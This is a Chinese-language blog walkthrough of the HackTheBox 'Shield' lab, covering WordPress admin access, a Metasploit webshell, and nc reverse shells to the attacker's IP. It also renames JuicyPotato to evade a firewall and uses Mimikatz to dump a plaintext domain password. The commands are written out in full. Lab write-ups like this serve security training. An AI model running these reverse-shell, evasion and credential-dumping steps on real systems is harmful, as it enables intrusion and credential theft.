渗透测试练习靶场hackthebox——Starting Point Shield攻略

扫描

根据给出的IP地址,使用nmap进行扫描

nmap -T4 -F -sV 10.10.10.28
-T4:针对TCP端口禁止动态扫描延迟超过10ms
-F:快速扫描,扫描一些常用端口
-sV:探测开启的端口来获取服务、版本信息

在这里插入图片描述
先去80端口看一下,发现是一个IIS的默认页面

在这里插入图片描述

爆破web目录

在github中下载dirsearch工具来爆破web路径,进入工具的路径下,执行

python3 dirsearch.py -u 10.10.10.29 -e *
-u:指定目标ip
-e:指定扩展名,例如:*.php,*.asp

在这里插入图片描述
发现了/wordpress目录,我们去访问一下,发现有登录入口,先点击右上角BLOG,再点击Log in跳转至wordpress的登陆页面
在这里插入图片描述
在这里插入图片描述
这里我们可以尝试使用之前靶机中使用过的密码尝试登录,发现上一章已经获取的admin:P@s5w0rd!这个组合可以登陆,成功进入到wordpress管理页面

在这里插入图片描述

获取webshell

有了wordpress管理权限,我们可以尝试使用metasploit获取webshell

msfconsole						//进入kali的metasploit攻击框架
search wp_admin					//查找wordpress获取webshell的利用模块
use 0							//使用编号为0的模块
show options					//显示设置需要配置的参数

在这里插入图片描述
Required位置显示yes的都需要配置

在这里插入图片描述
逐一配置参数,运行成功后会自动删除利用过程中上传的payload,并且建立一个meterpreter shell

set PASSWORD P@s5w0rd!
set RHOSTS 10.10.10.29
set TARGETURI /wordpress
set USERNAME admin
set LHOST 10.10.16.4			 //此处为本地地址,可用ifconfig查看
run								 //运行

在这里插入图片描述
由于meterpreter shell不是非常稳定,我们需要利用nc获取一个相对稳定的shell,在kali中自带nc.exe,我们先将其复制到桌面上一份

find / -name "nc.exe"
cp /usr/share/windows-resources/binaries/nc.exe ~/桌面

在这里插入图片描述
再通过meterpreter shell上传至目标机器的uploads目录中

cd ../../uploads
upload nc.exe

在这里插入图片描述
接下来,我们先在kali启动nc并监听7777端口,然后在meterpreter shelluploads目录中执行如下代码后,可以看到nc获取到了shell

execute -f nc.exe -a "-e cmd.exe 10.10.16.4 7777"
-f:执行-f参数所指定的文件
-a:传递给命令的参数
-e:命令netcat执行某个程序,常用于后门建立过程

在这里插入图片描述
在这里插入图片描述

提权

我们回到meterpreter shell中,执行命令sysinfo,发现系统为Windows Server 2016,此系统容易受到Rotten Potato攻击,原理见:https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/

在这里插入图片描述

首先我们在github中下载利用工具juicy-potato并重新命名为js.exe防止防火墙检测到,再用meterpreter shell将js.exe上传到uploads文件夹内

upload js.exe

在这里插入图片描述
接着用刚才获取到的nc shell在目标机器上生成一个批处理文件,目的是让netcat将靶机的powershell发送至kali的1111端口

echo START C:\inetpub\wwwroot\wordpress\wp-content\uploads\nc.exe -e powershell.exe 10.10.16.4 1111 > shell.bat

在这里插入图片描述
然后再次在kali中启动一个nc并监听1111端口来接收提权后的nc shell,并在获取的nc shell中运行js.exe

js.exe -t * -p C:\inetpub\wwwroot\wordpress\wp-content\uploads\shell.bat -l 1337
-t *:创建使用TokenW和User两种模式的进程
-p:指定要运行的程序(无法传递带参数的命令,所以要提前用bat写好)
-l:COM服务监听的端口

在这里插入图片描述
此时回到kali中监听1111端口的nc中,执行whoami命令,发现已经获得了SYSTEM权限的shell

在这里插入图片描述
此时我们有三个shell,在kali中分别是:4444端口的meterpreter shell、7777端口的普通权限的nc shell、1111端口的SYSTEM权限的nc shell

获取flag

利用SYSTEM权限的nc shell,进入桌面中,即可在root.txt中获取flag

cd c:\users\administrator\desktop
dir
cat root.txt

在这里插入图片描述

后续

我们可以在github中下载mimikatz,并同样用meterpreter shell上传到uploads目录下(过程省略),来获取域用户信息,然后使用SYSTEM权限的nc shell使用这个工具

cd c:\inetpub\wwwroot\wordpress\wp-content\uploads
./mimikatz.exe
sekurlsa::logonpasswords

在这里插入图片描述
即可获取域用户信息Sandra的和其明文登陆密码sandra:Password1234!,用于下一个靶机

在这里插入图片描述

完结

如有疑问,可在评论区内提出,我会尽力解答。
如有错误,欢迎指正。
感谢观看!

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值